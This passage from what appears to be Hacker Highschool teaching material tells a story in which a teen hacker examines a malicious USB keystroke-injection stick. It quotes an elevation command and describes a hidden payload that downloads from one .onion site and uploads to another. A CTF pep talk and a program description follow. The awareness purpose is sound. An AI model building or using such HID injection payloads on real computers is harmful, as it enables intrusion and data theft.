Computers don’t understand trust so they accept whatever they are told to accept. HID is a way for Windows and other operating systems to determine what is being added or taken away from the computer USB ports.
Jace pondered the issue of HID and what the USB stick pretends to be other than the obvious, a keyboard. Keyboards are universally accepted by a computer, just as mice are. A keyboard has a fairly simple job, input keystrokes into the computer. A USB device with a HID of a keyboard would be accepted by the operating system. And so, would run any commands the fake keyboard inserted. USB.org developed the HID Usage Tables (HUT) that are used to identify specific USB devices and their purpose.

“All they needed was a HID for a generic keyboard and the USB stick would pretend to be a keyboard once the operating system checked the HID against its Mount Manager list,” Jace told herself as she bit her lower lip.

Parrot Linux had “vi” in it which Jace used to view the contents of the inject.bin file. “Nothing special here,” she said to herself. Typical commands of “GUI r” to open command prompt as admin, a quick string to open up Power Shell as “powershell Start-Process cmd -Verb runAs”, a few short commands to make the execution window very small and difficult to notice, “obfuscate the Command Prompt”, followed by the commands to execute the payload.

Jace looked closely at the nonexistent payload. It was a DownloadString request for a package from a .onion site, a Tor page followed by an UploadString to another .onion site. Between the two strings were other PowerShell commands that Jace did not understand. But she knew who would understand them.

Before she closed out the VM Parrot terminal, the teen hacker looked at the second FAT 32 partition on the USB device. Two files were in the directory and each was named “n1ght” and “m33r”. Jace opened up n1ght first and discovered some PII (personal identification information) on Lehua. The next M33r file listed Jace’s apartment address, her phone number, her identification code, the school she attended, her blood type, a short history of her hacking accomplishments, and Sweet G’s full name.

“Oh we gotta talk,” Jace said aloud in the direction of her grandmother’s bedroom. She yanked the USB stick out of the port without even closing the VM or even Windows 10.

Game Over
Conclusion

Capture the Flag is like any other skill-based activity: you need to practice if you expect to get better. The first cake you bake will be terrible. It could be burnt, undercooked, have malware in it, taste like an old shoe, or whatever your worst nightmare would be for a cake. Nothing ever comes out great the first time you do it. We just tell you how great your drawing was in the 1st grade so you don’t feel bad and cry. Deep in your heart you know that drawing was terrible but you continued to draw until they took your crayons away in the 9th grade. You do gotta grow up at some point.

But you also learned that you need to practice to get better, except for that one kid at school who is good at everything (until he joined that heavy metal band). A CTF requires practice to get better. Just like your terrible cake and awful drawing; you get better with time and repetition.

Windows 10 is the most popular operating system in the world. Microsoft is trying hard to please billions of different users who want to do different tasks on their computers. In doing so, they add in lots of configuration options which also add lots of security issues if left alone. In a CTF, nobody is going to leave you alone; they are going to attack you. So, like a bake-off, you must rise to the challenge.

Now go forth and do great things. Bake us proud, errr... Make us proud!
Today's teens are in a world with major communication and productivity channels open to them and they don't have the knowledge to defend themselves against the fraud, identity theft, privacy leaks and other attacks made against them just for using the Internet. This is the reason for Hacker Highschool.

The Hacker Highschool project is the development of security and privacy awareness learning materials for junior high and high school students.

Hacker Highschool is a set of lessons and a practical means of making hackers. Beyond just providing cybersecurity awareness and critical Internet skills, we need to teach the young people of today how to be resourceful, creative, and logical, traits synonymous with hackers. The program contains free security and privacy awareness teaching materials and back-end support for teachers of accredited junior high, high schools, and home schooling. There are multiple workbooks available in multiple languages. These are lessons that challenge teens to be as resourceful as hackers, including safe Internet use, web privacy, researching on the internet, avoiding viruses and Trojans, legalities and ethics, and more.

The HHS program is developed by ISECOM, a non-profit, open-source research group focused on security awareness and professional security development and accreditation.